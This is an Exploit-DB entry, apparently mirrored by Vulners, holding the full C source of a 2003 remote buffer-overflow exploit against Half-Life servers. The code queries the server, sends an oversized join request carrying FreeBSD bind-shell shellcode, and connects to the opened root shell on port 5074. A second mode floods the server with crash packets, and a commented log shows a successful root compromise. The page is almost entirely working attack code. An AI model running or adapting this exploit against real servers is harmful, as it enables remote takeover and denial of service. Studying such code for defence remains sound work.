Lucene search
K

Valve Software Half-Life Server 1.1.1.0/3.1.1.1c1/4.1.1.1a - Multiplayer Request Buffer Overflow

🗓️ 29 Jul 2003 00:00:00Reported by hkvigType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

Multiplayer buffer overflow in Half-Life servers allows remote code execution by attackers.

Code
// source: https://www.securityfocus.com/bid/8300/info

// Half-Life servers are prone to a buffer overflow that may be exploited by a malicious remote client. The vulnerability occurs because the software fails to sufficiently bounds-//check client-supplied data during requests to join multiplayer games. This could allow attackers to execute code in the context of the vulnerable server. 

// This vulnerability affects the server bundled with Half-Life and the free Dedicated Server for both Windows and Linux operating systems.

//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit 
// Code by hkvig of UHAGr and wsxz of Priv8 Security
//
// This code is based upon the recent halflife exploit but it is
// not a dos. Instead this exploit provides you a nice shell to
// the vulnerable host
//
// 
// LOGS OF SUCCESSFUL EXPLOITATION
//
// [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
//
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
// Greetings to #priv8security & #!uhagr people
// 
// [+] Looking up host ip addr
// [+] Establishing virtual udp connection
// [+] Getting server info
// [+] Server protocol 0x2e
//     Players         0
//     Proxy           0
//     Lan             0
//     Nplayers        0x10
//     Directory       cstrike
//     Description     CounterStrike
//     Host            Counter-Strike 1.5 Server
//     Type            0
//     Pass            0
//     Os              0
//     Security        0x1
// [+] Getting server challenge integer
//     Server challenge is 280135011
// [+] Exploiting halflife server
// [+] Connecting to our shell
// Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun  5 02:55:42 GMT 2003
//     root@wv i386 unknown
// uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
//
//
// Greetings fly to
//	- The rest UHAGr and Priv8 Security people
//	- CCC 
//	- All of our friends to any net
// 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

#define LOCAL_PORT ( getuid() + getpid() + rand())
#define DEST_PORT 27015
#define BUFFER_SIZE 4096
#define DELAY 20 
#define INIT "echo; echo; uname -a; id; who; echo; echo;\n"

// The packet layout for a bsd host
#define PAYLOAD     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
                    "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
                    "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
                    "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
                    "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
                    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                    "\x89\xe1\xb0\x0b\xcd\x80" \
                    "\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
                    \
                    "\x42\x42\x42\x42"

#define NAME        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\xeb\x08"

#define BUFFER "\xff\xff\xff\xff" \
               "connect %d" \
               " %s \"" \
               "\\prot\\2" \
               "\\unique\\-1" \
               "\\raw\\%08lx%08lx%08lx%08lx" \
               "\" \"" \
               "\\model\\robo" \
               "\\topcolor\\25" \
               "\\bottomcolor\\161" \
               "\\rate\\9999.000000" \
               "\\cl_updaterate\\20" \
               "\\cl_lw\\1" \
               "\\cl_lc\\1" \
               "\\cl_dlmax\\128" \
               "\\hud_classautokill\\1" \
               "\\name\\" NAME \
               "\\" PAYLOAD "\\value" \
               "\"\n"


// The structure that holds the server info needed for the exploitation
struct serverinfo
{
	unsigned int protocol;                   // Protocol version
	unsigned int players;                    // Current players
	unsigned int proxytarget;                // Proxy
	unsigned int lan;                        // Lan
	unsigned int nplayers;                   // Players
	char *directory;                         // Current directory
	char *description;                       // Server description
	char *host;                              // Hosts alias
	char *challenge;                         // Challenge integer
	unsigned int type;                       // Server type
	unsigned int pass;                       // Server pass
	unsigned int os;                         // Os
	unsigned int security;                   // Security
} server;


// The structure that contains the targets
struct target
{
        unsigned int id;
        const char *description;
        unsigned long int retaddr;
} 
targets[] =
{
        { 0 , "Freebsd 5.1" , 0xbfbfe398  } ,

	{ 1 , "DoS attack to every OS" , 0x41414141 } ,

        { 2 , NULL , 0 }
};


// This function lists the available targets
void list( void )
{
int loop = 0;

	fprintf( stdout , "\n\nAvailable targets\n" );
	while( targets[loop].description != NULL )
	{
	fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
	loop++;
	}
	fprintf( stdout , "\n\n" );
	
	return;
}


// This function is responsible for the proper error reporting and
// error code returning
void do_exit( const char *str , const char *file , unsigned int line )
{
        fprintf( stdout , "\n" );
        if( file != NULL && line != 0 )
                fprintf( stdout , "Error at %s at line %d\n" , file , line );

        if( str != NULL )
                perror( str );

        exit( -errno );
}


// A safer version of the standard strtok() function
char *strtokerr( char *str , const char *del )
{
char *ptr;

        if(( ptr = strtok( str , del )) == NULL )
        {
	fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
	fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
	do_exit( NULL , NULL , 0 );
	}

        return ptr;
}


// This function is responsible for looking the ip addr of the target host 
unsigned long int lookup_host( char *host )
{
struct in_addr r_host;
struct hostent *ip;

	if( !isdigit( *host ))
	{
        	if(( ip = gethostbyname( host )) == NULL )
			do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );

        	bzero( &r_host , sizeof( struct in_addr ));
        	r_host = *(( struct in_addr *)ip->h_addr );
        	return r_host.s_addr;
	}

	if( isdigit( *host ))
        	return inet_addr( host );

	return -1;
}


// This function establishes a virtual udp connection to the target
// host so that send() can be used instead of sendto()
int udp_connect( unsigned long int addr , unsigned int port )
{
int fd;
struct sockaddr_in host;
struct in_addr n_addr = *(( struct in_addr *)&addr );

        if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
        	do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );

        host.sin_family = AF_INET;
        host.sin_addr.s_addr = INADDR_ANY;
        host.sin_port = htons( LOCAL_PORT );
        if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );

        bzero( &host , sizeof( struct sockaddr_in ));
        host.sin_family = AF_INET;
        host.sin_addr = n_addr;
        host.sin_port = htons( port );
        if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );

	return fd;
}


// This is the standard tcp connection in just one function
int tcp_connect( unsigned long int addr , int port )
{
struct sockaddr_in host;
int fd;

        if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
		do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );

        host.sin_family = AF_INET;
        host.sin_addr.s_addr = INADDR_ANY;
        host.sin_port = htons( LOCAL_PORT );

        if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );

        bzero( &host , sizeof( struct sockaddr_in ));
        host.sin_family = AF_INET;
        host.sin_addr.s_addr = addr;
        host.sin_port = htons( port );

	if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );

	return fd;
}

// The standard function for controlling the shell
int shell( int fd )
{
int bytes;
char buffer[2048];
fd_set descr;
struct timeval time = { 2 , 0 };

        while( 1 )
        {
        	FD_ZERO( &descr );
        	FD_SET( fd , &descr );
        	FD_SET( 0 , &descr );
        	select( fd + 1 , &descr , NULL , NULL , NULL );

        	if( FD_ISSET( fd , &descr ))
        	{
                	bzero( buffer , sizeof( buffer ));
                	if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
                	{
                	fprintf( stdout , "[-] Connection closed by foreign host\n" );
                	do_exit( "shell(): read()" , __FILE__ , __LINE__ );
                	}
                	buffer[bytes] = '\0';
                	fputs( buffer , stdout );
        	}

		if( FD_ISSET( 0 , &descr ))
        	{
                	bzero( buffer , sizeof( buffer ));
                	if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
                        	do_exit( "shell(): read()" , __FILE__ , __LINE__ );
                	buffer[bytes] = '\0';
                	send( fd , buffer , strlen( buffer ) , 0 );
        	}
        }

        return 0;
}


// This function gets the server info needed for the exploitation and checks
// if the host is vulnerable
int server_info( int fd )
{
char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
char buffer[BUFFER_SIZE];
char *ptr;
int loop , bytes;

	bzero( buffer , sizeof( buffer ));

	if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
		do_exit( "server_info(): send()" , __FILE__ , __LINE__ );

	if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
		do_exit( "server_info(): read()" , __FILE__ , __LINE__ );

	for( loop = 0; loop < bytes; loop++ )
		if( buffer[loop] == '\0' ) buffer[loop] = 0x41;
	
	if(( ptr = strstr( buffer , "protocol" )) == NULL ) 	
	{
	fprintf( stdout , "[-] No protocol info into server response\n" );
	do_exit( NULL , NULL , 0 );
	}

	ptr = strtokerr( buffer , "\\" );                       // Ignoring response
	ptr = strtokerr( NULL , "\\" );                         // Protocol version
	server.protocol = atoi( strtokerr( NULL , "\\" ));

	ptr = strtokerr( NULL , "\\" );                         // Address
	ptr = strtokerr( NULL , "\\" );                         // Ip address and port

	ptr = strtokerr( NULL , "\\" );                         // Players
	server.players = atoi( strtokerr( NULL , "\\" ));       // Current players

	ptr = strtokerr( NULL , "\\" );                         // Proxytarget
	server.proxytarget = atoi( strtokerr( NULL , "\\" ));   // Proxytarget value

	ptr = strtokerr( NULL , "\\" );                         // Lan
	server.lan = atoi( strtokerr( NULL , "\\" ));           // Lan value

	ptr = strtokerr( NULL , "\\" );                         // Max players
	server.nplayers = atoi( strtokerr( NULL , "\\" ));      // Max players

	ptr = strtokerr( NULL , "\\" );                         // Directory
	server.directory = strtokerr( NULL , "\\" );            // Directory string

	ptr = strtokerr( NULL , "\\" );                         // Description
	server.description = strtokerr( NULL , "\\" );          // Description string

	ptr = strtokerr( NULL , "\\" );                         // Host
	server.host = strtokerr( NULL , "\\" );                 // Host string

	ptr = strtokerr( NULL , "\\" );                         // Map
	ptr = strtokerr( NULL , "\\" );                         // Map string

	ptr = strtokerr( NULL , "\\" );                         // Type
	server.type = atoi( strtokerr( NULL , "\\" ));          // Type value

	ptr = strtokerr( NULL , "\\" );                         // Pass
	server.pass = atoi( strtokerr( NULL , "\\" ));          // Pass value

	ptr = strtokerr( NULL , "\\" );                         // Os
	server.os = atoi( strtokerr( NULL , "\\" ));            // Os value

	ptr = strtokerr( NULL , "\\" );                         // Security
	server.security = atoi( strtokerr( NULL , "\\" ));      // Security value

	return 0;
}


// This function is responsible for getting the server's challenge in order
// to be used later into the exploitation udp packet
int server_challenge( int fd )
{
char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
char buffer[BUFFER_SIZE];

	bzero( buffer , sizeof( buffer ));

	if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
		do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );

	if(( read( fd , buffer , sizeof( buffer ))) == -1 )
		do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );

	strtokerr( buffer , " " );
	server.challenge = strtokerr( NULL , " " );
	return 0;
}

// This function is responsible for exploiting a bsd host
int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
{
char *exploit , *ptr;
int len;

	targ.retaddr -= offset;

	if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
		do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
	bzero( exploit , BUFFER_SIZE );

	len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge , 
	              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,   
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ));

	ptr = strstr( exploit , "BBBB" );
	*( unsigned long int *)ptr = targ.retaddr;

// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;

	if(( send( fd , exploit , len , 0 )) == -1 )
		do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );


	return 0;
}

// This function launches a dos attack against the vulnerable server
int do_dos( int fd , unsigned int delay )
{
int len;
char *dos , buff[268];

        if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
                do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );

        bzero( dos , BUFFER_SIZE );
        bzero( buff , sizeof( buff ));

        memset( buff , 0x41 , sizeof( buff ));

        len = snprintf( dos , BUFFER_SIZE ,
                              "\xff\xff\xff\xff"
                              "connect %d"
                              " %s \""
                              "\\prot\\2"
                              "\\unique\\-1"
                              "\\raw\\%08lx%08lx%08lx%08lx"
                              "\" \""
                              "\\model\\%s"
                              "\\topcolor\\25"
                              "\\bottomcolor\\161"
                              "\\rate\\9999.000000"
                              "\\cl_updaterate\\20"
                              "\\cl_lw\\1"
                              "\\cl_lc\\1"
                              "\\cl_dlmax\\128"
                              "\\hud_classautokill\\1"
                              "\\name\\Bugtest"
                              "\"\n" ,
                              server.protocol , server.challenge ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
	                      buff );

        while( 1 )
        {
                if(( send( fd , dos , len , 0 )) == -1 )
                        do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );

                fprintf( stdout , "[+] DoS packet sent\n" );
                sleep( delay );
        }


        return 0;
}


int main( int argc , char *argv[] )
{ 
unsigned long int addr;
long int offset;
int fd , usrtarg , port;


	fprintf( stdout , "                                                                  \n\n"
	                  "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
	                  "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit                \n"
	                  "Code by hkvig of UHAGr and wsxz of Priv8 Security                   \n"
	                  "Greetings to #priv8security & #!uhagr people                      \n\n" );

	if( argc != 4 && argc != 5 )
	{
		fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
	                          "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
		list();
		return 0;
	}
	
	if( argc == 5 )
	{
		port = atoi( argv[4] );
		fprintf( stdout , "[+] Using port %d\n" , port );
	}
	else
		port = DEST_PORT;

	usrtarg = atoi( argv[1] );
	if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
	{
	fprintf( stdout , "[-] No such target in target list\n" );
	do_exit( NULL , NULL , 0 );
	}

        offset = atoi( argv[3] );
        fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset );

	bzero( &server , sizeof( struct serverinfo ));

	fprintf( stdout , "[+] Looking up host ip addr\n" );
	addr = lookup_host( argv[2] );	
	sleep( 1 );

	
	fprintf( stdout , "[+] Establishing virtual udp connection\n" );
	fd = udp_connect( addr , port );
	sleep( 1 );	

	
	fprintf( stdout , "[+] Getting server info\n" );
	server_info( fd );
	sleep( 1 );

	fprintf( stdout , "[+] Server protocol %#x\n"
	                  "    Players         %#x\n"
	                  "    Proxy           %#x\n"
	                  "    Lan             %#x\n"
	                  "    Nplayers        %#x\n"
	                  "    Directory       %s \n"
	                  "    Description     %s \n"
	                  "    Host            %s \n"
	                  "    Type            %#x\n"
	                  "    Pass            %#x\n"
	                  "    Os              %#x\n"
	                  "    Security        %#x\n" ,
	                  server.protocol ,
	                  server.players ,
	                  server.proxytarget ,
	                  server.lan ,
	                  server.nplayers ,
	                  server.directory ,
	                  server.description ,
	                  server.host ,
	                  server.type ,
	                  server.pass ,
	                  server.os ,
	                  server.security );

	sleep( 1 );
	fprintf( stdout , "[+] Getting server challenge integer\n" );
	server_challenge( fd );

	fprintf( stdout , "    Server challenge is %s\n" , server.challenge );
	sleep( 1 );


	if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) 
	{ 
		fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
		do_dos( fd , DELAY );
	}
	else // Real exploitation
	{
		fprintf( stdout , "[+] Exploiting halflife server\n" );
		do_bof_bsd( fd , targets[usrtarg] , offset );
	
		sleep( 1 );
		close( fd );

		sleep( 3 );
		fprintf( stdout , "[+] Connecting to our shell\n" );
		fd = tcp_connect( addr , 5074 );
	
		send( fd , INIT , sizeof( INIT ) , 0 );
		shell( fd );
	}	

	close( fd );
	return 0; 
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation